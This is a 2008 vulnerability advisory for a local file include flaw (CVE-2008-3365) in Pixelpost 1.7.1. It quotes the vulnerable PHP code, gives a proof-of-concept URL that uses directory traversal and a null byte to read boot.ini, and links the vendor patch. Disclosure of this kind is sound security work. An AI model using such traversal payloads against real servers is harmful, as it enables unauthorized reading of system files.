Local File Include Vulnerability in Pixelpost 1.7.1

2008.07.31

Credit: Digital Security Research Group [DSecRG]

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3365

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033
Application: Pixelpost photoblog
Versions Affected: 1.7.1
Vendor URL: http://www.pixelpost.org/
Bug: Local File Include
Exploits: YES
Reported: 22.07.2008
Vendor response: 23.07.2008
Solution: YES
Date of Public Advisory: 28.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Pixelpost photoblog has local file include vulnerability in script index.php
Successful exploitation requires that "register_globals" is enabled.
Code
****
#################################################
$PP_supp_lang = array(&#39;dutch&#39;=>array(&#39;NL&#39;,&#39;Nederlands&#39;),
&#39;english&#39;=>array(&#39;EN&#39;,&#39;English&#39;),
&#39;french&#39;=>array(&#39;FR&#39;,&#39;Francais&#39;),
&#39;german&#39;=>array(&#39;DE&#39;,&#39;Deutsch&#39;),
&#39;italian&#39;=>array(&#39;IT&#39;,&#39;Italiano&#39;),
&#39;norwegian&#39;=>array(&#39;NO&#39;,&#39;Norsk&#39;),
&#39;persian&#39;=>array(&#39;FA&#39;,&#39;Farsi&#39;),
&#39;polish&#39;=>array(&#39;PL&#39;,&#39;Polskiego&#39;),
&#39;portuguese&#39;=>array(&#39;PT&#39;,&#39;Portugues&#39;),
&#39;simplified_chinese&#39;=>array(&#39;CN&#39;,&#39;Chinese&#39;),
&#39;spanish&#39;=>array(&#39;ES&#39;,&#39;Espanol&#39;),
&#39;swedish&#39;=>array(&#39;SE&#39;,&#39;Svenska&#39;),
&#39;danish&#39;=>array(&#39;DK&#39;,&#39;Dansk&#39;),
&#39;japanese&#39;=>array(&#39;JP&#39;,&#39;Japanese&#39;),
&#39;hungarian&#39;=>array(&#39;HU&#39;,&#39;Magyar&#39;),
&#39;romanian&#39;=>array(&#39;RO&#39;,&#39;Romana&#39;),
&#39;russian&#39;=>array(&#39;RU&#39;,&#39;Russian&#39;),
&#39;czech&#39;=>array(&#39;CS&#39;,&#39;Cesky&#39;)
);
...
if(isset($_GET[&#39;lang&#39;])) { $language_abr = substr($_GET[&#39;lang&#39;],0,2); }
foreach ($PP_supp_lang as $key => $row) {
foreach($row as $cell){
if ($cell == strtoupper($language_abr)) { $language_full = $key; }
}
}
...
if(!empty($language_full)) {
if(file_exists("language/lang-".$language_full.".php")) {
if( !isset($_GET[&#39;x&#39;])OR($_GET[&#39;x&#39;] != "rss" & $_GET[&#39;x&#39;] != "atom")) {
require("language/lang-".$language_full.".php");
}
}else{
...
#################################################
Example:
http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../.
./../../../../../../../../../../boot.ini%00
Solution
********
Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:
http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

References:

http://www.securityfocus.com/bid/30397

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch

http://www.securityfocus.com/archive/1/archive/1/494817/100/0/threaded

http://www.milw0rm.com/exploits/6150

http://www.frsirt.com/english/advisories/2008/2207/references

http://secunia.com/advisories/31239

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Local File Include Vulnerability in Pixelpost 1.7.1

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.